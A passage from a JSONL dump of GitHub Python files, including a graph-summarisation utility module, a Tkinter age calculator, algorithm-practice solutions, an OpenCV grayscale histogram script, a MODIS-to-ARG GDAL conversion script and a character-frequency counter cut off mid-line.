\"subgraph2label\":True,\"featured_node\":True, \"directed\": False},\r\n \"gf\":{\"subgraph_num\":8, \"labeled_node\":True, \"subgraph2label\":True,\"featured_node\":False, \"directed\": False},\r\n \"mt\":{\"subgraph_num\":6, \"labeled_node\":True, \"subgraph2label\":True,\"featured_node\":True, \"directed\": False},\r\n \"ef\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"mf\":{\"subgraph_num\":1, \"labeled_node\":True, \"subgraph2label\":False,\"featured_node\":True, \"directed\": False},\r\n \"db\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"yt\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"lj\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"sk\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"ea\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"ss\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"se\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"cc\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"ch\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"pg\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True}}\r\n\r\ndataset_dfcolumns = [\"FromNodeId\", \"ToNodeId\"]\r\n\r\ndef ReadYmlConfig(filename):\r\n \r\n if(not os.path.exists(filename)):\r\n print(\"Can not find config file!\")\r\n exit(1)\r\n \r\n with open(filename, \"r\") as f:\r\n config = yaml.load(f.read(), Loader=yaml.Loader)\r\n return config\r\n\r\ndef WriteDf(f, df, app):\r\n i = 0\r\n n = len(df)\r\n\r\n while i < n:\r\n f.write(\"%d\\t%d\\t%s\\n\" % (df.iloc[i,0], df.iloc[i,1], app))\r\n i=i+1\r\n \r\n return i+1\r\n\r\ndef WriteData(filename, df, deleted_df, retrain=False):\r\n \r\n if os.path.exists(filename):\r\n # Delete Folder code\r\n os.remove(filename)\r\n \r\n f = open(filename,\"a\")\r\n \r\n line1 = WriteDf(f, df, app=\"1\")\r\n line2 = 0\r\n \r\n if(retrain == False):\r\n line2 = WriteDf(f, deleted_df, app=\"-1\")\r\n else:\r\n assert not deleted_df\r\n \r\n f.close()\r\n\r\n return line1 + line2\r\n\r\ndef GenerateMossoInput(df, G, deleted_edges_idx, filename, retrain = False ):\r\n\r\n edgelist = list(G.edges)\r\n\r\n def MakeDfWritten2MossoInput(edgelist, idx_range):\r\n\r\n df = pd.DataFrame()\r\n df_fromnodeid = []\r\n df_tonodeid = []\r\n\r\n for idx in idx_range:\r\n df_fromnodeid.append(edgelist[idx][0])\r\n df_tonodeid.append(edgelist[idx][1])\r\n \r\n df[\"FromNodeId\"] = df_fromnodeid\r\n df[\"ToNodeId\"] = df_tonodeid\r\n\r\n return df\r\n \r\n df = MakeDfWritten2MossoInput(edgelist, range(G.number_of_edges()))\r\n \r\n if(retrain == False):\r\n deleted_df = MakeDfWritten2MossoInput(edgelist, deleted_edges_idx)\r\n else:\r\n deleted_df = None\r\n\r\n nline = WriteData(filename, df, deleted_df, retrain = retrain)\r\n print(\"having write %d rows to outputfile %s\" % (nline, filename))\r\n\r\ndef RemoveDiEdges(df):\r\n new_cols = list(df.columns)\r\n new_cols.reverse()\r\n\r\n removed_df = df[new_cols].copy()\r\n removed_df.columns = df.columns\r\n \r\n return pd.merge(removed_df, df, how = 'inner')\r\n\r\n\"\"\"\r\nread from .txt format file\r\n\"\"\"\r\ndef ReadGraphfile2Dataframe(dataset = \"gd\", subgraph = [1,2,3], filename = \"\", dataset_folder = \"\",\r\n demo = True, sample = 0.01, random_seed = SEED):\r\n \r\n assert subgraph == -1 or len(subgraph) <= dataset_info[dataset][\"subgraph_num\"]\r\n assert dataset in dataset_info.keys()\r\n \r\n datafolder = os.path.join(dataset_folder, dataset)\r\n \r\n df = pd.DataFrame(columns=dataset_dfcolumns)\r\n \r\n def MakeSubgraphFilename(number):\r\n return \"subgraph_\" + str(number) + \".csv\"\r\n \r\n def MakeNormalGraphFilename(dataset):\r\n if(dataset == \"mf\"):\r\n return dataset + \".csv\"\r\n else:\r\n return dataset + \".txt\"\r\n \r\n def AddOffset2Subgraph(df, offset):\r\n return df.add(offset)\r\n \r\n if(subgraph == -1):\r\n subgraph_range = list(range(1, dataset_info[dataset][\"subgraph_num\"]+1))\r\n else:\r\n subgraph_range = subgraph\r\n\r\n if(dataset_info[dataset][\"subgraph_num\"] > 1):\r\n \r\n offset = 0\r\n \r\n for i in subgraph_range:\r\n subgraph_filename = os.path.join(datafolder, MakeSubgraphFilename(i))\r\n tmpdf = pd.read_csv(subgraph_filename, header = 0)\r\n tmpdf.columns = dataset_dfcolumns\r\n tmpdf = AddOffset2Subgraph(tmpdf, offset)\r\n offset += len(tmpdf)\r\n \r\n df = pd.concat([df, tmpdf], ignore_index = True)\r\n\r\n elif(dataset_info[dataset][\"subgraph_num\"] == 1):\r\n \r\n filename = os.path.join( datafolder, MakeNormalGraphFilename(dataset))\r\n \r\n if(dataset == \"mf\"):\r\n df = pd.read_csv(filename, header = 0)\r\n else:\r\n df = pd.read_csv(filename, skiprows=3, delimiter='\\t')\r\n \r\n df.columns = dataset_dfcolumns\r\n \r\n # generate demo for experiment\r\n if(sample < 1 and demo and len(df) > 100000):\r\n df = df.sample(frac = sample, random_state = SEED)\r\n \r\n # remove self loops from df\r\n self_loop_idx = []\r\n for i in range(len(df)):\r\n if(df.iloc[i,0] == df.iloc[i,1]):\r\n self_loop_idx.append(i)\r\n print(\"%d selfloop detected.\" % len(self_loop_idx))\r\n df.drop(index = self_loop_idx).reset_index(inplace = True)\r\n \r\n # if(dataset_info[dataset][\"directed\"] == False):\r\n # df = RemoveDiEdges(df)\r\n\r\n return df\r\n\r\ndef BuildGraphFromDf(df, dataset, relabel = True):\r\n \r\n nrows = len(df)\r\n \r\n # initialize graph\r\n if(dataset_info[dataset][\"directed\"]):\r\n G = nx.DiGraph()\r\n else:\r\n G = nx.Graph()\r\n \r\n t1 = time()\r\n \r\n # build graph from dataframe\r\n for i in range(nrows):\r\n G.add_edge(df.iloc[i,0], df.iloc[i,1]) \r\n \r\n t2 = time()\r\n \r\n if(relabel):\r\n mapping = dict(zip(G, range(G.number_of_nodes())))\r\n G = nx.relabel_nodes(G, mapping)\r\n \r\n print(\"Build graph timing: %.3f, min and max node label:%d and %d\" % (t2-t1, min(G.nodes), max(G.nodes)))\r\n \r\n return G\r\n\r\n\"\"\"\r\nsample deleted item index\r\n\"\"\"\r\ndef GenerateDeletedIdx(G, delete_p, delete_vertex):\r\n deleted_edges_idx = []\r\n deleted_nodes_idx = []\r\n \r\n random.seed(0)\r\n\r\n if(delete_vertex):\r\n if(delete_p > 0 and delete_p < 1):\r\n nodes = G.number_of_nodes()\r\n deleted_nodes_idx = random.sample(range(nodes), int(delete_p*nodes))\r\n else:\r\n if(delete_p > 0 and delete_p < 1):\r\n edges = G.number_of_edges()\r\n deleted_edges_idx = random.sample(range(edges), int(delete_p*edges))\r\n \r\n return deleted_edges_idx, deleted_nodes_idx\r\n\r\ndef PrintDegreeInfo(G, max_degree = 1):\r\n \r\n degree_cnt = collections.defaultdict(int)\r\n\r\n for v in G.nodes:\r\n if(G.degree[v] <= max_degree):\r\n degree_cnt[G.degree[v]] += 1\r\n\r\n for d in range(max_degree+1):\r\n print(\"%d %d-degree nodes\" % (degree_cnt[d], d))\r\n\r\ndef RemoveItemFromGraphByIdx(G, deleted_vertex, deleted_idx):\r\n if(deleted_vertex):\r\n G.remove_nodes_from(deleted_idx)\r\n else:\r\n edgelist = list(G.edges)\r\n for idx in deleted_idx:\r\n G.remove_edge(edgelist[idx][0], edgelist[idx][1])\r\n return G\r\n\r\ndef MakeMossoInputfilename(inputfolder, datasetname, delete_p, retrain):\r\n filename = '-'.join([datasetname, str(delete_p), \"r\" if retrain else \"d\"]) + \".txt\"\r\n return os.path.join(inputfolder, filename)\r\n\r\ndef CommunityDetection(graph, prefix):\r\n t1 = time()\r\n graph_community = nx.community.louvain_communities(graph)\r\n \r\n t2 = time()\r\n print(\"%s graph community detection timing: %.3f\" % (prefix, t2 - t1))\r\n return graph_community\r\n\r\n\"\"\"\r\nRead .txt format datafile to graph.\r\ngen_delete: whether create a graph that has already removed the target edges/nodes.\r\n if gen_delete = True, then the returned graph has already removed the target edges/nodes,\r\n and the deleted_edges would be None.\r\n otherwise, the returned graph is generated originally from the datafile without\r\n edges/nodes removal, and deleted_edges contains the edges to be removed.\r\ndelete_vertex: whether to delete by vertices or by edges.if delete_vertex = True,\r\n then delete by vertices, that is, remove all the edges related to a vertices,\r\n and the returned deleted_nodes is not empty. if delete_vertex = False, then the\r\n deleted_nodes is returned empty\r\ndelete_p: control the edges/nodes deletion proportion.\r\n\"\"\"\r\n\r\ndef ReadDatafile(dataset, subgraph, dataset_folder, filename = \"\", sample_frac = 1, \r\n gen_delete = False, delete_vertex = False, delete_p = -1, \r\n relabel = True, genMossoInput = False, mossoinputfolder = \"\"):\r\n \r\n df = ReadGraphfile2Dataframe(dataset = dataset, subgraph = subgraph, \r\n dataset_folder = dataset_folder, \r\n filename = \"\", demo = True, sample = sample_frac, \r\n random_seed = SEED)\r\n print(\"relabel:\", relabel)\r\n G = BuildGraphFromDf(df, dataset = dataset, relabel = relabel)\r\n G.remove_edges_from(nx.selfloop_edges(G))\r\n \r\n deleted_edges_idx, deleted_nodes_idx = GenerateDeletedIdx(G, delete_p = delete_p, \r\n delete_vertex = delete_vertex)\r\n\r\n if(gen_delete):\r\n if(delete_vertex):\r\n deleted_idx = deleted_nodes_idx\r\n else:\r\n deleted_idx = deleted_edges_idx\r\n G = RemoveItemFromGraphByIdx(G, deleted_vertex = delete_vertex, deleted_idx = deleted_idx)\r\n\r\n PrintDegreeInfo(G, max_degree = 1)\r\n print(\"min and max node label:%d and %d\" % (min(G.nodes), max(G.nodes)))\r\n else:\r\n PrintDegreeInfo(G, max_degree = 1)\r\n \r\n if(genMossoInput):\r\n filename = MakeMossoInputfilename(inputfolder = mossoinputfolder, datasetname = dataset, \r\n delete_p = delete_p, retrain = gen_delete)\r\n GenerateMossoInput(df, G, deleted_edges_idx, filename, retrain = gen_delete)\r\n\r\n A = nx.adjacency_matrix(G)\r\n \r\n return G, A, deleted_nodes_idx, deleted_edges_idx\r\n\r\ndef GetCosineDistance(a , b):\r\n dot = np.dot(a, b)\r\n return dot/(np.linalg.norm(a)*np.linalg.norm(b))\r\n\r\ndef GetManhattanDistance(a, b):\r\n \r\n def Reshape(a):\r\n \r\n if(a.shape[0]==1):\r\n a = a.reshape(a.shape[1])\r\n return a\r\n \r\n a = Reshape(a)\r\n b = Reshape(b)\r\n \r\n return np.sum(np.abs(a - b)) #np.linalg.norm(np.logical_xor(a, b), ord=0)\r\n\r\ndef GetEdgeCountV0(a_set, b_set, G, p = 0.6):\r\n cnt = 0\r\n thres = (len(a_set) * p) * (len(b_set) * p)\r\n for u in a_set:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt > thres):\r\n return 2\r\n \r\n if(cnt > thres):\r\n return 1\r\n \r\n return False\r\n\r\ndef GetEdgeCountV1(a_set, b_set, edgelist, p = 0.36):\r\n \r\n cnt = len(list(filter(lambda x: x[0] in a_set and x[1] in b_set, edgelist)))\r\n \r\n if(cnt > len(a_set) * len(b_set) * p):\r\n return True\r\n \r\n return False\r\n\r\ndef GetEdgeCountV2(a_set, b_set, G, p = 0.36):\r\n # cnt = 0\r\n \r\n # t1 = time()\r\n # src_a_idx = np.where(np.isin(A_nonzero_row, a_set) == 1)\r\n # t2 = time()\r\n # dst_a = A_nonzero_col[src_a_idx]\r\n # t3 = time()\r\n # cnt = np.sum(np.isin(dst_a, list(b_set)))\r\n # print(\"timing t2-t1: %.3f, t3-t2: %.3f\" % (t2-t1, t3-t2))\r\n \"\"\"\r\n for u in a_set:\r\n dst_u_idx = np.where(A_nonzero_row == u)\r\n dst_u = A_nonzero_col[dst_u_idx]\r\n cnt += len(b_set & set(dst_u))\r\n \"\"\"\r\n \r\n a_set_half_right = list(a_set)[:int(len(a_set) * max(p, 1-p))]\r\n a_set_half_left = list(a_set)[int(len(a_set) * max(p, 1-p)):]\r\n\r\n cnt = 0\r\n for u in a_set_half_right:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt + len(a_set_half_left) * len(b_set) < len(a_set) * len(b_set) * p):\r\n return False\r\n \r\n for u in a_set_half_left:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt > len(a_set) * len(b_set) * p):\r\n return True\r\n \r\n return False\r\n\r\ndef ReadSupergraphFromFile(config, graph, retrain = \"o\"):\r\n\r\n supernode_file, superedge_file = ReadSUGPTOutput(output_folder = config[\"output_folder\"], \r\n dataset = config[\"dataset\"], delete_p = config[\"delete_p\"], \r\n retrain = retrain)\r\n print(\"=\"*10, \"begin to read sugpt-output:\", supernode_file, \"=\"*10)\r\n supergraph = Supergraph(graph, config)\r\n sn_df = pd.read_csv(supernode_file)\r\n se_df = pd.read_csv(superedge_file)\r\n \r\n # if(sn_df.columns[0] == \"Supernode\" and sn_df.columns[1] == \"Vertex\"):\r\n # print(\"Swap our csv output columns.\")\r\n # sn_df = sn_df[[\"Vertex\",\"Supernode\"]]\r\n \r\n for cnt in range(len(sn_df)):\r\n vertex, sn = sn_df.iloc[cnt, 1], sn_df.iloc[cnt, 0]\r\n if(sn not in supergraph.supernode.keys()):\r\n supergraph.supernode[sn] = Supernode(candidate = set(), aggmethod = None, graph = None, se_gen_method = \"EDG\")\r\n supergraph.supernode[sn].vertices.add(vertex)\r\n\r\n for cnt in range(len(se_df)):\r\n svi, svj = se_df.iloc[cnt, 0], se_df.iloc[cnt, 1]\r\n supergraph.superedge.append([svi, svj])\r\n return supergraph\r\n\r\ndef ReadSUGPTOutput(output_folder = \"\", dataset = \"\", delete_p = 0.1, retrain = \"r\"):\r\n \r\n supernode_file = output_folder + '-'.join([dataset, str(delete_p), \"sn\", retrain]) + \".csv\"\r\n \r\n superedge_file = output_folder + '-'.join([dataset, str(delete_p), \"se\", retrain]) + \".csv\"\r\n\r\n return supernode_file, superedge_file\r\n\r\ndef SaveSupernode(supergraph, supernode_file, chunk):\r\n \r\n def ConcatTmpresult(supernode_df, sv_list, vertices_list):\r\n assert len(sv_list) == len(vertices_list)\r\n tmpdf = pd.DataFrame(columns=[\"Supernode\",\"Vertex\"])\r\n tmpdf[\"Supernode\"] = sv_list\r\n tmpdf[\"Vertex\"] = vertices_list\r\n supernode_df = pd.concat([supernode_df, tmpdf], ignore_index=True)\r\n return supernode_df\r\n \r\n supernode_df = pd.DataFrame()\r\n sv_list = []\r\n vertices_list = []\r\n \r\n cnt = 0\r\n for sv in supergraph.supernode:\r\n for vertex in supergraph.supernode[sv].vertices:\r\n sv_list.append(sv)\r\n vertices_list.append(vertex)\r\n cnt += 1\r\n \r\n if(cnt > chunk):\r\n supernode_df = ConcatTmpresult(supernode_df, sv_list, vertices_list)\r\n \r\n # clear tmpresult\r\n cnt = 0\r\n sv_list.clear()\r\n vertices_list.clear()\r\n \r\n supernode_df = ConcatTmpresult(supernode_df, sv_list, vertices_list)\r\n \r\n assert len(supernode_df[\"Vertex\"].unique()) == supergraph.graph.vertices_num\r\n supernode_df.to_csv(supernode_file, index = False)\r\n print(\"save supernode to file: \", supernode_file)\r\n \r\ndef SaveSuperedge(supergraph, superedge_file, chunk):\r\n \r\n def ConcatTmpresult(superedge_df, from_list, to_list):\r\n assert len(from_list) == len(to_list)\r\n tmpdf = pd.DataFrame(columns=[\"From\",\"To\"])\r\n tmpdf[\"From\"] = from_list\r\n tmpdf[\"To\"] = to_list\r\n superedge_df = pd.concat([superedge_df, tmpdf], ignore_index=True)\r\n return superedge_df\r\n \r\n superedge_df = pd.DataFrame()\r\n from_list = []\r\n to_list = []\r\n \r\n cnt = 0\r\n for se in supergraph.superedge:\r\n from_list.append(se[0])\r\n to_list.append(se[1])\r\n \r\n if(cnt > chunk):\r\n superedge_df = ConcatTmpresult(superedge_df, from_list, to_list)\r\n \r\n # clear tmpresult\r\n cnt = 0\r\n from_list.clear()\r\n to_list.clear()\r\n \r\n superedge_df = ConcatTmpresult(superedge_df, from_list, to_list)\r\n \r\n superedge_df.to_csv(superedge_file, index = False)\r\n print(\"save superedge to file: \", superedge_file)\r\n \r\ndef SaveSupergraph(supergraph, supernode_file, superedge_file, chunk = 10000, retrain = \"r\", dp = 0.1, output_folder = \"./\"):\r\n \r\n if(supernode_file == \"\"):\r\n supernode_file = output_folder + '-'.join([supergraph.dataset, str(dp), \"sn\", retrain]) + \".csv\"\r\n\r\n if(superedge_file == \"\"):\r\n superedge_file = output_folder + '-'.join([supergraph.dataset, str(dp), \"se\", retrain]) + \".csv\"\r\n\r\n SaveSupernode(supergraph, supernode_file, chunk)\r\n SaveSuperedge(supergraph, superedge_file, chunk)\r\n\r\ndef SaveOriginalSupergraph(supergraph, supernode_file, superedge_file, chunk = 10000, output_folder = \"./\"):\r\n \r\n if(supernode_file == \"\"):\r\n supernode_file = output_folder + '-'.join([supergraph.dataset, \"sn\", \"o\" ]) + \".csv\"\r\n\r\n if(superedge_file == \"\"):\r\n superedge_file = output_folder + '-'.join([supergraph.dataset, \"se\", \"o\"]) + \".csv\"\r\n\r\n SaveSupernode(supergraph, supernode_file, chunk)\r\n SaveSuperedge(supergraph, superedge_file, chunk)\r\n\r\ndef ReadSupergraphFromFilev0(supergraph, supernode_file, superedge_file):\r\n sn_df = pd.read_csv(supernode_file)\r\n se_df = pd.read_csv(superedge_file)\r\n \r\n if(sn_df.columns[0] == \"Supernode\" and sn_df.columns[1] == \"Vertex\"):\r\n print(\"Swap our csv output columns.\")\r\n sn_df = sn_df[[\"Vertex\",\"Supernode\"]]\r\n \r\n for cnt in range(len(sn_df)):\r\n vertex, sn = sn_df.iloc[cnt, 0], sn_df.iloc[cnt, 1]\r\n supergraph[sn].vertices.add(vertex)\r\n\r\n return\r\n\r\nif __name__ == \"__main__\":\r\n a = random.sample(range(100),5)\r\n print(a)","repo_name":"Zitong115/SUGPT","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29647992296","text":"from tkinter import *\r\nfrom datetime import date\r\n\r\ndef CalculateAge():\r\n today = date.today()\r\n birthDate = date(int(yearEntry.get()), int(monthEntry.get()), int(dayEntry.get()))\r\n age = today.year - birthDate.year - ((today.month, today.day) < (birthDate.month, birthDate.day))\r\n result_label.config(text=f\"{nameValue.get()}, your age is {age}\", font=(\"Helvetica\", 30))\r\n\r\nroot = Tk()\r\nroot.geometry(\"800x600\")\r\nroot.resizable(False, False)\r\nroot.title(\"Age Calculator\")\r\n\r\nphoto = PhotoImage(file=r\"C:\\Users\\MORIS\\Downloads\\Documents\\Age Calculator.png\")\r\nmyimage = Label(image=photo)\r\nmyimage.pack(padx=15, pady=15)\r\n\r\nLabel(text=\"Name\", font=(\"Helvetica\", 23)).place(x=200, y=250)\r\nLabel(text=\"Year\", font=(\"Helvetica\", 23)).place(x=200, y=300)\r\nLabel(text=\"Month\", font=(\"Helvetica\", 23)).place(x=200, y=350)\r\nLabel(text=\"Day\", font=(\"Helvetica\", 23)).place(x=200, y=400)\r\n\r\nnameValue = StringVar()\r\nnameEntry = Entry(root, textvariable=nameValue, width=30, bd=3, font=(\"Helvetica\", 20))\r\nnameEntry.place(x=300, y=250)\r\n\r\nyearEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\nyearEntry.place(x=300, y=300)\r\n\r\nmonthEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\nmonthEntry.place(x=300, y=350)\r\n\r\ndayEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\ndayEntry.place(x=300, y=400)\r\n\r\nresult_label = Label(root, text=\"\", font=(\"Helvetica\", 30))\r\nresult_label.place(x=300, y=500)\r\n\r\nButton(text=\"Calculate age\", font=(\"Helvetica\", 20), bg=\"black\", fg=\"white\", width=11, height=2, command=CalculateAge).place(x=300, y=450)\r\n\r\nroot.mainloop()\r\n","repo_name":"morris-web/python-projects","sub_path":"AGE.py","file_name":"AGE.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1057456461","text":"T = int(input())\nfor test_case in range(1, T + 1):\n result = 0\n days = int(input())\n prices = list(map(int, input().split()))\n \n while prices:\n start = 0\n count = 0\n total = 0\n \n pivot = max(prices)\n pi = prices.index(pivot)\n sub_prices = prices[start:pi]\n count = len(sub_prices)\n total = sum(sub_prices)\n result += prices[pi] * count - total\n \n if pi == days - 1:\n break\n else:\n prices = prices[pi + 1:]\n print(\"#\" + str(test_case), result)","repo_name":"hydenny/coding-test-practice","sub_path":"swea/1859. 백만 장자 프로젝트.py","file_name":"1859. 백만 장자 프로젝트.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35447858364","text":"# -*- coding: utf-8 -*-\n\"\"\"\n剑指 Offer 03. 数组中重复的数字\n找出数组中重复的数字。\n\n在一个长度为 n 的数组 nums 里的所有数字都在 0~n-1 的范围内。数组中某些数字是重复的,\n但不知道有几个数字重复了,也不知道每个数字重复了几次。请找出数组中任意一个重复的数字。\n\n示例 1:\n\n输入:\n[2, 3, 1, 0, 2, 5, 3]\n输出:2 或 3\n \n限制:\n\n2 <= n <= 100000\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def findRepeatNumber_1(self, nums: List[int]) -> int:\n \"\"\"\n 方法一:哈希表 / Set\n 时间复杂度 O(N) : 遍历数组使用 O(N) ,HashSet 添加与查找元素皆为 O(1) 。\n 空间复杂度 O(N) : HashSet 占用 O(N) 大小的额外空间。\n :param nums:\n :return:\n \"\"\"\n hashset = set()\n for num in nums:\n if num in hashset:\n return num\n else:\n hashset.add(num)\n return -1\n # hashset = {}\n # for num in nums:\n # if hashset.get(num) is not None:\n # return num\n # else:\n # hashset[num] = num\n\n def findRepeatNumber_2(self, nums: [int]) -> int:\n \"\"\"\n 方法二:原地交换\n 时间复杂度 O(N) : 遍历数组使用 O(N) ,每轮遍历的判断和交换操作使用 O(1) 。\n 空间复杂度 O(1) : 使用常数复杂度的额外空间。\n :param nums:\n :return:\n \"\"\"\n nums = nums.copy()\n i = 0\n while i < len(nums):\n if nums[i] == i:\n i += 1\n continue\n if nums[nums[i]] == nums[i]: return nums[i]\n temp = nums[nums[i]]\n nums[nums[i]] = nums[i]\n nums[i] = temp\n\n\nif __name__ == '__main__':\n solution = Solution()\n nums = [5, 4, 1, 0, 2, 5, 3]\n print(solution.findRepeatNumber_1(nums))\n print(solution.findRepeatNumber_2(nums))\n\n\n\n\n\n","repo_name":"MaoningGuan/LeetCode","sub_path":"剑指 Offer(第 2 版)/findRepeatNumber.py","file_name":"findRepeatNumber.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"11599004212","text":"import os\nfrom setuptools import setup, find_packages\n\ndef read(fname):\n try:\n with open(os.path.join(os.path.dirname(__file__), fname)) as fh:\n return fh.read()\n except IOError:\n return ''\n\n# requirements = read(\"requirements.txt\").splitlines()\nlong_description = read(\"README.md\")\n\nsetup(\n name=\"mtorwaradar\",\n version=\"1.0\",\n author=\"Rija Faniriantsoa\",\n author_email=\"rijaf@iri.columbia.edu\",\n description=\"Meteo Rwanda Radar Data Processing\",\n url=\"https://github.com/rijaf-iri/mtorwaradar\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Intended Audience :: Meteo Rwanda\",\n \"Operating System :: OS Independent\",\n ],\n python_requires=\">=3.8\",\n # install_requires=requirements,\n)\n","repo_name":"rijaf-iri/mtorwaradar","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70722384167","text":"import cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nsample = cv.imread('./sample.jpg')\n\nimg = cv.resize(sample, (852, 480), interpolation=cv.INTER_AREA)\n\n# Convert to Grayscale\nb = img[:,:,0]\ng = img[:,:,1]\nr = img[:,:,2]\n\n# save amount of row and column\nrow_len = len(img)\ncol_len = len(img[0])\n\n# Noob Convert/Mathematical\n# img_gray = np.zeros((row_len, col_len))\n# for row in range(row_len):\n# for col in range(col_len):\n# # worst grayscale\n# # gray[row, col] = round((r[row, col] + g[row, col] + b[row, col]) / 3)\n# # best grayscale\n# img_gray[row, col] = round(0.299 * r[row, col] + 0.587 * g[row, col] + 0.114 * b[row, col])\n\n# # Convert integer from array to unsigned integer for remove bug on matrix image\n# img_gray = img_gray.astype(np.uint8)\n\n# Pro Convert\nimg_gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n#! Create Histogram GS\n\n# Create 256 row using zeros\ngs_plot = np.zeros((256))\n\n# know pixel and add pixel to plot\nfor gsRow in range(row_len):\n for gsCol in range(col_len):\n pixel = img_gray[gsRow, gsCol]\n \n gs_plot[pixel] += 1 / (row_len * col_len)\n\n# show histogram\nplt.xlabel(\"Value\")\nplt.ylabel(\"Probability\")\ncv.imshow('sample', img_gray)\nplt.plot(gs_plot, color = (0.5, 0.5, 0.5))\nplt.show()\n\n\n# cv.imshow('sample', img)\ncv.waitKey(0)\ncv.destroyAllWindows()\n","repo_name":"cynchronos/PCD-Praktik","sub_path":"histogram/histogramGS.py","file_name":"histogramGS.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"34982625487","text":"## This is just a sample script used to transform HDF files into ARG files\n## added as a point of reference, in case it's useful.\n\nimport os\nimport glob\n\n## Download yearly MODIS land cover data (500m) for the following year\n## and generate an arg for a specific layer.\n\nyear = \"2011\"\nlayer_name = \"Land_Cover_Type_1\"\n\nfiles = glob.glob(\"*A%s*hdf\" % year)\nfile_string = \" \".join(files)\n\nlayer_string = \"%s_%s\" % (layer_name, year)\ncmd1_start = \"gdalbuildvrt %s.vrt \" % (layer_string)\n\ndef makeLayer(filename):\n return \"HDF4_EOS:EOS_GRID:\\\"%s\\\":MOD12Q1:%s\" % (filename, layer_name)\n\nlayers = map(makeLayer, files)\nlayers_list = \" \".join(layers)\ncmd1 = cmd1_start + layers_list\nprint(cmd1)\nos.system(cmd1)\n\ncmd2 = \"gdal_translate -of GTiff %s.vrt %s_orig.tif\" % (layer_string, layer_string)\nprint(cmd2)\nos.system(cmd2)\n\n\nweb_mercator = True\nreproject = \"\"\nif web_mercator: \n reproject = \"-t_srs EPSG:3857\"\n\n## -10018754.171394622\n \ncmd3 = \"gdalwarp -t_srs EPSG:3857 -dstnodata 128 %s_orig.tif %s.tif\" % (layer_string, layer_string) \ncmd3a = \"gdalwarp -dstnodata 128 %s_orig.tif %s_sinusoidal.tif\" % (layer_string, layer_string) \nprint(cmd3)\nprint(cmd3a)\n\nos.system(cmd3)\nos.system(cmd3a)\ncmd4 = \"gdal_translate -of ARG %s.tif %s.arg\" % (layer_string, layer_string)\ncmd4a = \"gdal_translate -of ARG %s_sinusoidal.tif %s_sinusoidal.arg\" % (layer_string, layer_string)\nprint(cmd4)\nprint(cmd4a)\nos.system(cmd4)\nos.system(cmd4a)\n\ncmd5 = \"sed -i 's/uint/int/g' %s.json\" % ( layer_string )\ncmd5a = \"sed -i 's/uint/int/g' %s_sinusoidal.json\" % ( layer_string )\nprint(cmd5)\nprint(cmd5a)\nos.system(cmd5)\nos.system(cmd5a)\n\n","repo_name":"ahinz/landsat-downloader","sub_path":"scripts/transform_modis_to_arg.py","file_name":"transform_modis_to_arg.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"27789799477","text":"# 2. Porównaj rozkłady statystyczne tekstów w dwóch różnych językach.\r\n# Należy wypisać co najmniej słownik z liczbą wystąpień każdego znaku tekstu.\r\nimport re\r\n\r\nf = open('angielski.txt')\r\nfpolski = open('polski.txt')\r\nstat = {}\r\nfor line in f:\r\n line = re.sub(r'\\s', '', line)\r\n for znak in line:\r\n if znak in stat:\r\n stat[znak] += 1\r\n else:\r\n stat[znak] = 0\r\nsorted_x = sorted(stat.items(), key=lambda item: item[1], reverse=True)\r\nprint(\"jezyk angileski\\n\", sorted_x)\r\nstatan = {}\r\nfor line in fpolski:\r\n line = re.sub(r'\\s', '', line)\r\n for znak in line:\r\n if znak in statan:\r\n statan[znak] += 1\r\n else:\r\n statan[znak] = 0\r\nsorted_y = sorted(statan.items(), key=lambda item: item[1], reverse=True)\r\nprint(\"Jezyk poslki\\n\", 